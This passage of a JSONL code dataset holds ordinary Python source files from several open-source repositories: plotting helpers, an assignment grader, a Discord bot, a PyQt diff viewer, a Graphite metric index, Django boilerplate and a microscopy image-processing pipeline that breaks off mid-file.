+{"text": "import matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\nfrom matplotlib import cm\nfrom matplotlib import gridspec\nfrom matplotlib import colors as mplcolors\n\nimport CBcm\nimport numpy as np\nimport util\n\nrcParams['svg.fonttype'] = 'none'\ndef makeColours( vals, cmapStr, returnDict=False ):\n colours = np.zeros( (len(vals),3) )\n origVals = np.copy( vals )\n if vals.max() > 1:\n vals = vals/vals.max()\n norm = mplcolors.Normalize( vmin=vals.min(), vmax=vals.max()*0.95 )\n else:\n norm = mplcolors.Normalize( vmin=vals.min(), vmax=vals.max()*0.95 )\n colours = [cm.ScalarMappable( norm=norm, cmap=cmapStr).to_rgba( val ) for val in vals]\n if returnDict:\n uniqueOrigVals = np.unique( origVals )\n uniqueVals = np.unique( vals )\n uniqueColours = [cm.ScalarMappable( norm=norm, cmap=cmapStr).to_rgba( val ) for val in uniqueVals]\n valColourDict = {}\n\n for (val,colour) in zip(uniqueOrigVals,uniqueColours):\n valColourDict[colour] = val \n \n return [colours, valColourDict]\n else:\n return colours\n\ndef manyErrorBarsPlot( x, yMeans, yStds, lineLevels, cmap=CBcm.CB2cm['YeBl'], xIsMean=False, cbarText='', xAxisText='', yAxisText='', titleText='', ylim=[], fontsize=10, plotCbar=True, ls='solid' ):\n if plotCbar:\n plt.figure()\n gs = mpl.gridspec.GridSpec(1, 2, width_ratios=[8, 1]) \n axes = [plt.subplot( gsAx ) for gsAx in gs]\n else:\n axes = [plt.gca()]\n \n if isinstance( lineLevels, list):\n lineLevels = np.array( lineLevels )\n\n colours = makeColours( lineLevels, cmap )\n if xIsMean:\n for idx in range(yMeans.shape[1]):\n axes[0].errorbar( x, yMeans[:,idx], yerr=yStds[:,idx], capthick=2, color=colours[idx], ms=2, marker='.', ls=ls )\n else:\n for idx in range(yMeans.shape[0]):\n axes[0].errorbar( x, yMeans[idx,:], yerr=yStds[idx,:], capthick=2, color=colours[idx], ms=2, marker='.', ls=ls )\n \n axes[0].set_xlabel( xAxisText, fontsize=fontsize )\n axes[0].set_ylabel( yAxisText, fontsize=fontsize )\n axes[0].set_title( titleText )\n if len(ylim) > 0:\n axes[0].set_ylim(ylim)\n\n if plotCbar:\n #norm = mpl.colors.Normalize( vmin=1, vmax=4 )\n norm = mpl.colors.Normalize( vmin=min(lineLevels), vmax=max(lineLevels) ) \n #norm = mpl.colors.LogNorm( vmin=), vmax=max(lineLevels) ) \n \n cbl = mpl.colorbar.ColorbarBase( axes[1], norm=norm, cmap=cmap, \n orientation='vertical', values=lineLevels )\n\n tickBoundaries = np.arange( len(lineLevels) )*1.0/len(lineLevels)\n tickBoundaries = np.append( tickBoundaries, 1 )\n tickLocs = []\n for idx in range(len(tickBoundaries)-1):\n tickLocs.append( 0.5 * (tickBoundaries[idx] + tickBoundaries[idx+1]))\n\n cbl.ax.yaxis.set_ticks( tickLocs )\n cbl.ax.yaxis.set_ticklabels( lineLevels )\n cbl.ax.yaxis.set_label_text( cbarText )\n plt.tight_layout() \n \n if plotCbar:\n return [axes[0],cbl]\n else:\n return [axes[0],colours]\n\ndef getTpr( genome, fprTarget ):\n if fprTarget > 1-1e-6:\n return [1,1,-np.inf]\n\n readCounts = genome['ratio'].values\n lb = min( readCounts )\n ub = max( readCounts )\n\n numFP = genome.query('binding == \"false-positive\"').shape[0]\n numTP = genome.shape[0] - numFP\n #print(\"Starting search. Target : {}\".format( fprTarget ))\n fpr = 1.0\n nItr = 100\n itr = 0\n while abs( fpr - fprTarget ) > 0.01 * fprTarget and itr < nItr:\n\n threshold = (lb + ub)/2.0\n genome.loc[:,'inference'] = 'no-binding'\n genome.loc[readCounts > threshold,'inference'] = 'binding'\n\n if threshold < 1e-8:\n fpr = fprTarget\n print( [fpr,fprTarget,threshold])\n break\n\n fpr = genome.query( '(inference == \"binding\") & (binding == \"false-positive\")').shape[0]*1.0/numFP\n if fpr > fprTarget:\n lb = threshold\n else:\n ub = threshold\n\n itr += 1\n\n tpr = genome.query( '(inference == \"binding\") & (binding != \"false-positive\")').shape[0]*1.0/numTP\n return [fpr,tpr,threshold]\n\ndef makeROC( genome, color, ax=None, ls='solid', fprTargets=[], label=\"\" ):\n if len( fprTargets ) == 0:\n fprTargets = [0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.0]\n\n fprVals = []\n tprVals = []\n \n readCountThresholds = []\n for fprTarget in fprTargets:\n if abs( fprTarget ) < 1e-6:\n fpr = 0\n tpr = 0\n readCountThreshold = max( genome['ratio'].values )\n else:\n fpr, tpr, readCountThreshold = getTpr( genome, fprTarget )\n\n fprVals.append( fpr ) \n tprVals.append( tpr )\n readCountThresholds.append( readCountThreshold )\n\n itr = 0\n if ax is None:\n fig = plt.figure()\n ax = plt.gca()\n\n auROC = util.findAuROC( genome )\n\n if label == \"\":\n ax.plot( fprVals, tprVals, color=color, lw=0.75, ls=ls, label='{:.2f}'.format(auROC), marker='o' , markersize=2 )\n else:\n ax.plot( fprVals, tprVals, color=color, lw=0.75, ls=ls, label=label + ' ({:.2f})'.format(auROC), marker='o', markersize=2 )\n\n ax.set_xlim(0,1)\n ax.grid('on',ls='dashed')\n ax.legend(fontsize=8)\n\n return [ax,auROC,readCountThresholds]\n", "source": "vishakad/animate", "license": "MIT"}
+{"text": "import os\nimport shutil\nimport subprocess\nfrom Colorify import red, cyan\nfrom DiffJob import prepare, diff, student_output\n\n__author__ = 'George Herde'\n\n\ndef cd_into_assignment(top_level, student, config):\n # Tries to move into the assignment folder (as set in the config.ini) within the student's directory\n if os.path.exists(\"{}/{}/{}\".format(top_level, student, config.dir)):\n os.chdir(\"{}/{}/{}\".format(top_level, student, config.dir))\n return True\n else:\n # Provides a list of folders in the student's directory to use an an alternative\n alternate_dir = [d for d in os.listdir(os.getcwd()) if os.path.isdir(d) and not d.startswith(\".\")]\n print(\"{} Not found.\\nAlternate folders:\".format(config.dir))\n print_array_of_strings(alternate_dir)\n target_dir = input(\"Choose an alternative(or 'None'): \")\n if target_dir == 'None':\n return False\n else:\n # Move into the chosen directory\n os.chdir(\"{}/{}/{}\".format(top_level, student, target_dir))\n # Prints the name of the current folder back to the user\n print(\"\\nUsing Directory: {}\".format(os.path.relpath(os.getcwd(), start=os.getcwd() + \"/..\")))\n return True\n\n\ndef yes_no_question(question_text, y_default=True):\n if y_default:\n user_input = input(\"{} (Y/n)\\n\".format(question_text)).strip().lower()\n if user_input in \"\" or user_input in \"y\":\n return True\n else:\n return False\n else:\n user_input = input(\"{} (y/N)\\n\".format(question_text)).strip().lower()\n if user_input in \"\" or user_input in \"n\":\n return False\n else:\n return True\n\n\ndef print_array_of_strings(array):\n array.sort()\n for element in array[:-1]:\n print(\"{}\".format(element), end=\", \")\n print(\"{}\".format(array[-1]))\n\n\ndef move_support_files(config, config_location, destination):\n if config.support_files is not None:\n for item in config.support_files:\n if not os.path.exists(\"{}/{}\".format(destination, item)):\n print(red(\"Supporting file missing {} into student repository\".format(item)))\n shutil.copy(\"{}/{}\".format(config_location, item), \"{}/{}\".format(destination, item))\n if config.grading_files is not None:\n for item in config.grading_files:\n print(\"Copying grading file: {} into student repository\".format(item))\n shutil.copy(\"{}/{}\".format(config_location, item), \"{}/{}\".format(destination, item))\n\n\ndef execute_testing(test_type, job_list, config_location=None):\n if test_type == \"diff\" and config_location is not None:\n execute_diff(job_list, config_location)\n elif test_type == \"unit\":\n execute_unit(job_list)\n elif test_type == \"bash\":\n execute_bash(job_list)\n\n\ndef execute_diff(job_list, config_location):\n for job in job_list[:-1]:\n print(\"\\n{}\".format(cyan(job.__str__())))\n print(\"-------------------------------------------------------------\")\n prepare(job, config_location, os.getcwd())\n student_output(job)\n diff(job)\n input(\"Continue to next Diff job...\")\n job = job_list[-1]\n print(\"\\n{}\".format(cyan(job.__str__())))\n print(\"-------------------------------------------------------------\")\n prepare(job, config_location, os.getcwd())\n student_output(job)\n diff(job)\n\n\ndef execute_unit(job_list):\n for job in job_list[:-1]:\n print(\"\\n{}\".format(cyan(job.__str__())))\n print(cyan(\"-------------------------------------------------------------\"))\n job.run()\n input(\"Continue to next Unit Test job...\")\n job = job_list[-1]\n print(\"\\n{}\".format(cyan(job.__str__())))\n print(cyan(\"-------------------------------------------------------------\"))\n job.run()\n\n\ndef execute_bash(job_list):\n for job in job_list[:-1]:\n print(\"\\n{}\".format(cyan(job.__str__())))\n print(cyan(\"-------------------------------------------------------------\"))\n job.run()\n print(\"\\n\")\n input(\"Continue to next Bash job...\")\n job = job_list[-1]\n print(\"\\n{}\".format(cyan(job.name)))\n print(cyan(\"-------------------------------------------------------------\"))\n job.run()\n\n\ndef view_source(config):\n # View Source Files\n vim_array = [\"vim\", \"-p\"]\n vim_files = []\n for v_file in config.required_files:\n if v_file == \"*All*\":\n for file in os.listdir(os.getcwd()):\n vim_files.append(file)\n else:\n vim_files.append(v_file)\n if config.support_files is not None:\n for v_file in config.support_files:\n vim_files.append(v_file)\n print(\"Files opened: {}\".format(vim_files))\n i = 0\n for file in vim_files:\n if i == 5:\n subprocess.Popen(vim_array).communicate()\n vim_array = [\"vim\", \"-p\"]\n i = 0\n vim_array.append(str(file))\n i += 1\n subprocess.Popen(vim_array).communicate()\n", "source": "blackpan2/PyGrade", "license": "Apache-2.0"}
+{"text": "\"\"\"\nGiven an array of integers, find the subset of non-adjacent elements with the maximum sum. \nCalculate the sum of that subset. It is possible that the maximum sum is , the case when all elements are negative.\n\n\"\"\"\n\ndef maxSubsetSum(arr):\n \n n = len(arr) # n = length of the array\n dp = [0]*n # create a dp array of length n & initialize its values to 0\n dp[0] = arr[0] # base\n dp[1] = max(arr[1], dp[0]) \n \n for i in range(2,n):\n # Because of the condition. No two adjacent elements can be picked. \n # Therefore we can either take one and then skip one, or skip one and run the subroutine.\n dp[i] = max(arr[i], dp[i-1], arr[i] + dp[i-2])\n # in the dp, we store the max sum for the subarray up till the length of the subarray.\n # Hence simply return the last item in this to get the answer\n return dp[-1]\n", "source": "rahil-1407/Data-Structure-and-Algorithms", "license": "MIT"}
+{"text": "import discord\nfrom discord.ext import commands\nimport dotenv\nimport os\nfrom glob import glob\nimport traceback\n\n\nfrom ..db import db\n\n# Loading the environment variables\ndotenv.load_dotenv()\ntoken = os.getenv(\"BOT_TOKEN\")\nerror_guild_id = os.getenv(\"GUILD_ID\")\nerror_channel_id = os.getenv(\"CHANNEL_ID\")\nfeedback_channel_id=os.getenv(\"FEEDBACK_ID\")\nguild_logs_id=os.getenv('GUILD_LOG_ID')\n\nintents = discord.Intents.default()\n\n# Allowing mentions in messages of the bot\nmentions = discord.AllowedMentions(everyone=False, users=True, roles=False, replied_user=True)\n\n# Cogs\nCOGS = [path.split(\"\\\\\")[-1][:-3] for path in glob(\"./lib/cogs/*.py\")]\n# Owner IDS\nOWNER_ID = 650664682046226432\n\n# Prefix cache implementation\nprefix_cache={}\n\nasync def get_prefix(user,message):\n if message.guild is None:\n prefix = \"dexy\"\n return commands.when_mentioned_or(prefix)(user, message)\n elif message.guild.id in prefix_cache:\n return commands.when_mentioned_or(*prefix_cache[message.guild.id])(user, message)\n else:\n prefix=db.field(\"SELECT Prefix FROM guilds WHERE GuildID = ?\",message.guild.id)\n try:\n prefix=prefix.split(\",\")\n except:\n prefix=['dexy']\n if len(prefix_cache)>120:\n prefix_cache.pop(tuple(prefix_cache.keys())[0])\n prefix_cache[message.guild.id]=prefix\n return commands.when_mentioned_or(*prefix_cache[message.guild.id])(user, message)\n\n\nasync def update():\n for guild in bot.guilds:\n try:\n db.execute(\"INSERT INTO guilds (GuildID) VALUES (?)\", guild.id)\n except:\n pass\n\nclass Bot(commands.Bot):\n def __init__(self):\n self.TOKEN = token\n self.ready = False\n self.owner_id = OWNER_ID\n self.reconnect = True\n self.prefix_cache=prefix_cache\n self.feedback_webhook=feedback_channel_id\n super().__init__(case_insensitive=True, allowed_mentions=mentions, intents=intents,\n command_prefix=get_prefix,strip_after_prefix=True,\n owner_id=OWNER_ID,max_messages=None)\n\n\n def setup(self):\n for ext in os.listdir(\"./lib/cogs\"):\n if ext.endswith(\".py\") and not ext.startswith(\"_\"):\n try:\n self.load_extension(f\"lib.cogs.{ext[:-3]}\")\n print(f\" {ext[:-3]} cog loaded\")\n except Exception:\n desired_trace = traceback.format_exc()\n print(desired_trace)\n print(\"setup complete\")\n self.load_extension('jishaku')\n print(\"jishaku loaded\")\n print(\"setup complete\")\n\n def run(self, version):\n\n print(\"running setup...\")\n self.setup()\n\n print(\"running bot...\")\n\n super().run(self.TOKEN, reconnect=True)\n\n async def process_commands(self, message):\n ctx = await self.get_context(message, cls=commands.Context)\n\n if ctx.command is not None:\n if not self.ready:\n await ctx.send(\"I'm not ready to receive commands. Please wait a few seconds.\")\n\n else:\n await self.invoke(ctx)\n\n async def on_connect(self):\n await update()\n self.error_channel:discord.TextChannel=await self.fetch_channel(error_channel_id)\n self.error_webhook=await self.error_channel.webhooks()\n self.error_webhook=self.error_webhook[0]\n self.guild_log:discord.TextChannel=await self.fetch_channel(guild_logs_id)\n self.guild_log=await self.guild_log.webhooks()\n self.guild_log=self.guild_log[0]\n print(\"updated\")\n print(\"bot connected\")\n \n async def on_disconnect(self):\n print(\"bot disconnected\")\n\n async def on_command_error(self, ctx:commands.Context, err):\n embed=discord.Embed(title='An error occurred',colour=ctx.me.colour)\n embed.add_field(name='Error description',value=f\"```\\n{err}\\n```\",inline=False)\n embed.add_field(name='Still confused?',value='Join the [support server](https://discord.gg/FBFTYp7nnq) and ask about this there!')\n try:\n await ctx.send(embed=embed)#f\"Something went wrong \\n ```\\n{err}\\n```\")\n except:\n await ctx.author.send(f\"I cannot send embeds or messages in {ctx.channel.mention}!\")\n try:\n embed=discord.Embed(title='Error',description=f'{err}')\n embed.add_field(name='Command used -',value=f'{ctx.message.content}',inline=False)\n await self.error_webhook.send(embed=embed)\n except:\n raise err\n async def on_guild_join(self, guild:discord.Guild):\n try:\n db.execute(\"INSERT INTO guilds (GuildID) VALUES (?)\", guild.id)\n except:\n pass\n embed=discord.Embed(title='Guild added',description=f'ID : {guild.id}\\n NAME : {guild.name}\\n OWNERID : {guild.owner_id}')#\\n OWNER_NAME : {guild.owner.name}#{guild.owner.discriminator}')\n await self.guild_log.send(embed=embed)\n \n async def on_guild_remove(self, guild:discord.Guild):\n embed=discord.Embed(title='Guild left',description=f'ID : {guild.id}\\n NAME : {guild.name}\\n OWNERID : {guild.owner_id}')# OWNER_NAME : {guild.owner.name}#{guild.owner.discriminator}')\n await self.guild_log.send(embed=embed)\n \n \n \n # async def on_guild_(self, guild):\n # db.execute(\"DELETE FROM guilds WHERE GuildID = ?\", guild.id)\n async def on_message(self, message:discord.Message):\n if message.author.bot:return\n return await super().on_message(message)\n async def on_ready(self):\n await update()\n self.ready = True\n print(\"bot ready\")\n\n\nbot = Bot()\n", "source": "ItsZabbs/Pokedex-Bot", "license": "MIT"}
+{"text": "import sys\r\nfrom PyQt5.QtGui import QPainter, QColor, QSyntaxHighlighter, QTextCharFormat\r\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QPushButton, QToolTip, QWidget, QLabel\r\nfrom PyQt5.QtWidgets import QFileDialog, QTextEdit\r\nfrom highlighter import Highlighter\r\n\r\n\r\n# SubWindow Class\r\nclass Widget(QTextEdit):\r\n result = []\r\n\r\n def __init__(self, left, top, width, height, parent=None):\r\n super().__init__(parent)\r\n self.left = left\r\n self.top = top\r\n self.width = width\r\n self.height = height\r\n self.setParent(parent)\r\n self.initWidget()\r\n self.highLighter = Highlighter(self.document())\r\n\r\n\r\n\r\n # self.highLighter = Highlighter(self.document())\r\n\r\n # self.setStyleSheet(\"\"\"QTextEdit{\r\n # font-family:'Consolas';\r\n # color: #ccc;\r\n # background-color: #2b2b2b;}\"\"\")\r\n\r\n def returnResult(self, res):\r\n self.highLighter.getResult(res)\r\n\r\n def initWidget(self):\r\n self.setGeometry(self.left, self.top, self.width, self.height)\r\n self.show()\r\n\r\n def setText(self, text):\r\n super().setText(text)\r\n\r\n def getText(self):\r\n super().toPlainText()\r\n\r\n\r\n\r\n\r\n\r\n\r\n # Main Program Window\r\n\r\n\r\nclass Window(QMainWindow):\r\n readFile, readFile1 = \"\", \"\"\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n\r\n self.Wid = Widget(25, 25, 400, 450, self)\r\n self.Wid1 = Widget(450, 25, 400, 450, self)\r\n\r\n\r\n\r\n self.first_path_label = QLabel(self)\r\n self.first_path_label.setWordWrap(True)\r\n self.second_path_label = QLabel(self)\r\n self.second_path_label.setWordWrap(True)\r\n\r\n self.title = \"PyQt 5 Application\"\r\n self.left = 100\r\n self.top = 100\r\n self.width = 1024\r\n self.height = 500\r\n self.InitUI()\r\n\r\n\r\n\r\n\r\n\r\n def returnTextWindow(self):\r\n return self.Wid,self.Wid1\r\n\r\n def InitUI(self):\r\n self.setWindowTitle(self.title)\r\n self.setGeometry(self.left, self.top, self.width, self.height)\r\n\r\n # First OpenFile Button\r\n openFileButton_1 = QPushButton(\"First File\", self)\r\n openFileButton_1.setGeometry(860, 75, 75, 25)\r\n openFileButton_1.clicked.connect(self.buttonClick)\r\n\r\n self.first_path_label.setGeometry(860, 105, 125, 25)\r\n\r\n # Second OpenFile Button\r\n openFileButton_2 = QPushButton(\"Second File\", self)\r\n openFileButton_2.setGeometry(860, 150, 75, 25)\r\n openFileButton_2.clicked.connect(self.buttonClick_1)\r\n\r\n self.second_path_label.setGeometry(860, 180, 125, 25)\r\n\r\n # Save Button\r\n saveButton = QPushButton(\"Save\", self)\r\n saveButton.setGeometry(925, 450, 75, 25)\r\n\r\n\r\n #Compare Button\r\n comparePutton = QPushButton(\"Compare\", self)\r\n comparePutton.setGeometry(850,450,75,25)\r\n comparePutton.clicked.connect(self.Compared)\r\n\r\n self.show()\r\n\r\n def Compared(self):\r\n self.Wid.getText()\r\n self.Wid1.getText()\r\n\r\n def buttonClick(self):\r\n data, path = self.openFile()\r\n self.first_path_label.setText(path)\r\n Window.readFile = path\r\n self.Wid.setText(data)\r\n # Widget.result = retResult(self.readFile,self.readFile1)\r\n\r\n def buttonClick_1(self):\r\n data, path = self.openFile()\r\n self.second_path_label.setText(path)\r\n Window.readFile1 = path\r\n self.Wid1.setText(data)\r\n # Widget.result = retResult(self.readFile,self.readFile1)\r\n\r\n\r\n def openFile(self):\r\n fileName = QFileDialog.getOpenFileName(self, \"Open File\")\r\n if fileName[0]:\r\n\r\n f = open(fileName[0], 'r')\r\n\r\n with f:\r\n data = f.read()\r\n path = fileName[0]\r\n else:\r\n data = \"Sie uza\u011fa git kar\u015fim\"\r\n path = \"None\"\r\n\r\n return data, path\r\n\r\n\r\nApp = QApplication(sys.argv)\r\nwindow = Window()\r\nsys.exit(App.exec())\r\n", "source": "bkaganozkan/Difference", "license": "MIT"}
+{"text": "# Copyright (C) [2015-2017] [Thomson Reuters LLC]\n# Copyright (C) [2015-2017] [Panos Kittenis]\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tree representation of Graphite metrics\"\"\"\n\nfrom __future__ import absolute_import, print_function\nimport json\nfrom collections import deque\n\nfrom graphite_api.utils import is_pattern\nfrom graphite_api.finders import match_entries\n\n\ndef _encode_bytes(_str):\n if not isinstance(b'', str):\n return _str.encode('utf-8')\n return bytes(_str)\n\n\ndef _decode_str(_str):\n try:\n return _str.decode('utf-8')\n except AttributeError:\n pass\n return _str\n\n\nclass Node(object):\n \"\"\"Node class of a graphite metric\"\"\"\n __slots__ = ('children')\n\n def __init__(self):\n self.children = None\n\n def is_leaf(self):\n \"\"\"Returns True/False depending on whether self is a LeafNode or not\"\"\"\n return self.children is None\n\n def insert(self, paths):\n \"\"\"Insert path in this node's children\"\"\"\n if len(paths) == 0:\n return\n if self.children is None:\n self.children = ()\n child_name = paths.popleft()\n for (_child_name, node) in self.children:\n # Fast path for end of recursion - avoids extra recursion\n # for empty paths list\n if len(paths) == 0 and child_name == _child_name:\n return\n elif child_name == _child_name:\n return node.insert(paths)\n node = Node()\n self.children += ((child_name, node),)\n return node.insert(paths)\n\n def to_array(self):\n \"\"\"Return list of (name, children) items for this node's children\"\"\"\n return [(_decode_str(name), node.to_array(),)\n for (name, node,) in self.children] \\\n if self.children is not None else None\n\n @staticmethod\n def from_array(array):\n \"\"\"Load given parent node's children from array\"\"\"\n metric = Node()\n if array is None:\n return metric\n else:\n metric.children = ()\n for child_name, child_array in array:\n child = Node.from_array(child_array)\n metric.children += ((_encode_bytes(child_name), child),)\n return metric\n\n\nclass NodeTreeIndex(object):\n \"\"\"Node tree index class with graphite glob searches per sub-part of a\n query\n \"\"\"\n __slots__ = ('index')\n\n @property\n def children(self):\n return self.index.children if self.index.children else []\n\n def __init__(self):\n self.index = Node()\n\n def insert(self, metric_path):\n \"\"\"Insert metric path into tree index\"\"\"\n paths = deque([_encode_bytes(s) for s in metric_path.split('.')])\n self.index.insert(paths)\n\n def insert_split_path(self, paths):\n \"\"\"Insert already split path into tree index\"\"\"\n self.index.insert(deque([_encode_bytes(s) for s in paths]))\n\n def clear(self):\n \"\"\"Clear tree index\"\"\"\n self.index.children = None\n\n def query(self, query):\n \"\"\"Return nodes matching Graphite glob pattern query\"\"\"\n nodes = sorted(self.search(self.index, query.split('.'), []))\n return (('.'.join(path), node,)\n for path, node in nodes)\n\n def _get_children_from_matched_paths(self, matched_paths, node):\n for (path, _node) in node.children:\n _path = _decode_str(path)\n if _path in matched_paths:\n yield (_path, _node)\n\n def _get_child_from_string_query(self, sub_query, node):\n for (path, _node) in node.children:\n if _decode_str(path) == sub_query:\n return _node\n\n def _get_matched_children(self, sub_query, node):\n keys = [_decode_str(key) for (key, _) in node.children] \\\n if node.children is not None else []\n matched_paths = match_entries(keys, sub_query)\n if node.children is not None and is_pattern(sub_query):\n matched_children = self._get_children_from_matched_paths(\n matched_paths, node)\n else:\n matched_children = [(sub_query,\n self._get_child_from_string_query(\n sub_query, node))] \\\n if node.children is not None \\\n and sub_query in keys else []\n return matched_children\n\n def search(self, node, split_query, split_path):\n \"\"\"Return matching children for each query part in split query starting\n from given node\"\"\"\n sub_query = split_query[0]\n matched_children = self._get_matched_children(sub_query, node)\n for child_name, child_node in matched_children:\n child_path = split_path[:]\n child_path.append(child_name)\n child_query = split_query[1:]\n if len(child_query) > 0:\n for sub in self.search(child_node, child_query, child_path):\n yield sub\n else:\n yield (child_path, child_node)\n\n def to_array(self):\n \"\"\"Return array representation of tree index\"\"\"\n return self.index.to_array()\n\n @staticmethod\n def from_array(model):\n \"\"\"Load tree index from array\"\"\"\n metric_index = NodeTreeIndex()\n metric_index.index = Node.from_array(model)\n return metric_index\n\n @staticmethod\n def from_file(file_h):\n \"\"\"Load tree index from file handle\"\"\"\n index = NodeTreeIndex.from_array(json.load(file_h))\n return index\n", "source": "InfluxGraph/influxgraph", "license": "Apache-2.0"}
+{"text": "from django.apps import AppConfig\n\n\nclass GirlfriendProjectConfig(AppConfig):\n name = 'girlfriend_project'\n", "source": "paressuex11/mysite", "license": "Apache-2.0"}
+{"text": "from django.contrib import admin\n\n\n# Register your models here.\nfrom prices.models import IdDB\n\n\nclass IdDBAdmin(admin.ModelAdmin):\n list_display = (\n 'kinopoisk_id',\n 'title',\n 'title_en',\n 'year',\n 'date_created',\n 'price',)\n search_fields = ('kinopoisk_id', 'title',)\n list_filter = ('year',)\n empty_value_display = '-\u043f\u0443\u0441\u0442\u043e-'\n\n\nadmin.site.register(IdDB, IdDBAdmin)\n", "source": "KazuruK/FilmGetter", "license": "BSD-3-Clause"}
+{"text": "from MELC.utils.myDatasets import generate_workingRaw_from_raw, MELCStructureDataset\nimport numpy as np\nimport tifffile as tiff\nfrom MELC.utils.registration_daria import register\nimport matplotlib.pyplot as plt\nimport cv2\nfrom MELC.utils.Files import create_folder\nfrom skimage import img_as_float, img_as_uint\nfrom MELC.utils.f_transformations import filterLowFrequencies, visualize_frequencies\nimport glob\nfrom os.path import join\nfrom config import *\nimport argparse\nSEPARATOR = '/'\n\ndef parse_args():\n \"\"\"Parse input arguments\"\"\"\n parser = argparse.ArgumentParser(description='Run Training of Mask R-CNN')\n\n parser.add_argument(\n '--path', dest='path', required=True,\n help='Config file for training (and optionally testing)')\n\n return parser.parse_args()\n\n\nclass MELCImageProcessing:\n\n def __init__(self, path: str, melc_structure_generated: bool = True):\n\n self._path = path\n self._path_registered_fluor = ''\n self._path_registered_bleach = ''\n self._path_registered_phase = ''\n self._path_registered_vis_fluor = ''\n self._path_registered_vis_bleach = ''\n self._path_registered_vis_phase = ''\n self._path_bg_corr = ''\n self._path_bg_corr_f = ''\n self._path_bg_corr_v_f = ''\n self._path_normalized_f = ''\n self._path_normalized_v_f = ''\n '''\n Extract MELC data and calibration data\n '''\n w_raw = self._path + SEPARATOR + 'w_raw'\n if not melc_structure_generated:\n generate_workingRaw_from_raw(self._path, w_raw)\n\n melc_dataset = MELCStructureDataset(w_raw)\n\n '''\n Sort by creation date\n '''\n self._melc_fluor = melc_dataset.fluor_pd.sort_values('order_index', ascending=True)\n self._melc_phase = melc_dataset.phase_pd.sort_values('order_index', ascending=True)\n self._melc_bleach = melc_dataset.bleach_pd.sort_values('order_index', ascending=True)\n self._melc_phasebleach = melc_dataset.phasebleach_pd.sort_values('order_index', ascending=True)\n\n self.create_folders()\n self._corrected_bf_im = self.generate_bg_correction_img()\n self.process_images()\n\n def create_folders(self):\n '''\n Create folders for registered images\n '''\n path_processed = join(self._path, 'processed')\n path_registered = join(path_processed, 'registered')\n self._path_registered_fluor = join(path_registered, 'fluor')\n self._path_registered_bleach = join(path_registered, 'bleach')\n self._path_registered_phase = join(path_registered, 'phase')\n self._path_registered_vis_fluor = join(path_registered, 'vis_fluor')\n self._path_registered_vis_bleach = join(path_registered, 'vis_bleach')\n self._path_registered_vis_phase = join(path_registered, 'vis_phase')\n\n create_folder(path_processed)\n create_folder(path_registered)\n create_folder(self._path_registered_fluor)\n create_folder(self._path_registered_bleach)\n create_folder(self._path_registered_phase)\n create_folder(self._path_registered_vis_fluor)\n create_folder(self._path_registered_vis_bleach)\n create_folder(self._path_registered_vis_phase)\n\n '''\n Create folders for background corrected images\n '''\n\n self._path_bg_corr = self._path + SEPARATOR + 'processed' + SEPARATOR + 'background_corr' + SEPARATOR\n self._path_bg_corr_f = self._path_bg_corr + 'fluor' + SEPARATOR\n self._path_bg_corr_v_f = self._path_bg_corr + 'vis_fluor' + SEPARATOR\n self._path_bg_corr_p = self._path_bg_corr + 'phase' + SEPARATOR\n self._path_bg_corr_v_p = self._path_bg_corr + 'vis_phase' + SEPARATOR\n\n create_folder(self._path_bg_corr)\n create_folder(self._path_bg_corr_f)\n create_folder(self._path_bg_corr_v_f)\n create_folder(self._path_bg_corr_p)\n create_folder(self._path_bg_corr_v_p)\n\n '''\n Create folders for normalized images\n '''\n path_normalized = self._path + SEPARATOR + 'processed' + SEPARATOR + 'normalized'\n self._path_normalized_f = path_normalized + SEPARATOR + 'fluor' + SEPARATOR\n self._path_normalized_v_f = path_normalized + SEPARATOR + 'vis_fluor' + SEPARATOR\n self._path_normalized_p = path_normalized + SEPARATOR + 'phase' + SEPARATOR\n self._path_normalized_v_p = path_normalized + SEPARATOR + 'vis_phase' + SEPARATOR\n\n create_folder(path_normalized)\n create_folder(self._path_normalized_f)\n create_folder(self._path_normalized_v_f)\n create_folder(self._path_normalized_p)\n create_folder(self._path_normalized_v_p)\n\n def generate_bg_correction_img(self):\n\n '''\n Create correction image for fluorescence and bleaching images\n '''\n\n brightfield_im = []\n darkframe_im = []\n filter_names = ['XF116-2', 'XF111-2']\n calibration_path = self._path + SEPARATOR +'w_raw' + SEPARATOR + 'calibration' + SEPARATOR\n brightfield_im.append(np.int16(tiff.imread(glob.glob(calibration_path + '*_cal_b001_5000_XF116-2_000.tif'))))\n brightfield_im.append(np.int16(tiff.imread(glob.glob(calibration_path + '*_cal_b001_5000_XF111-2_000.tif'))))\n darkframe_im.append(np.int16(tiff.imread(glob.glob(calibration_path + '*_cal_d001_5000_XF116-2_000.tif'))))\n darkframe_im.append(np.int16(tiff.imread(glob.glob(calibration_path + '*_cal_d001_5000_XF111-2_000.tif'))))\n\n corrected_brightfield_im = [(brightfield_im[i] - darkframe_im[i]) for i in range(len(filter_names))]\n corrected_brightfield_im[0][corrected_brightfield_im[0] <= 0] = 0\n corrected_brightfield_im[1][corrected_brightfield_im[1] <= 0] = 0\n\n return corrected_brightfield_im\n\n def process_images(self):\n '''\n Registration, background correction and normalization of images\n '''\n\n\n '''\n Registration\n '''\n ref_image = tiff.imread(glob.glob(self._path + SEPARATOR + 'w_raw' + SEPARATOR + 'phase' + SEPARATOR + '*_Propidium iodide_200_XF116*.tif'))\n for i in range(0, (len(self._melc_fluor)-1)):\n\n pb_idx = np.where(self._melc_phasebleach['order_index'] == self._melc_bleach.iloc[i]['order_index'])[0][0]\n phasebleach_image = tiff.imread(self._melc_phasebleach.iloc[pb_idx]['path'])\n bleach_image = tiff.imread(self._melc_bleach.iloc[i]['path'])\n registered_bleach_image = register(ref_image, phasebleach_image, bleach_image)\n filename_bleach = SEPARATOR + str(int(self._melc_bleach.iloc[i]['order_index'])) + '_' + '_'.join(\n self._melc_bleach.iloc[i]['fid'].split('_')[:-1]) + '.tif'\n tiff.imsave(self._path_registered_bleach + filename_bleach, 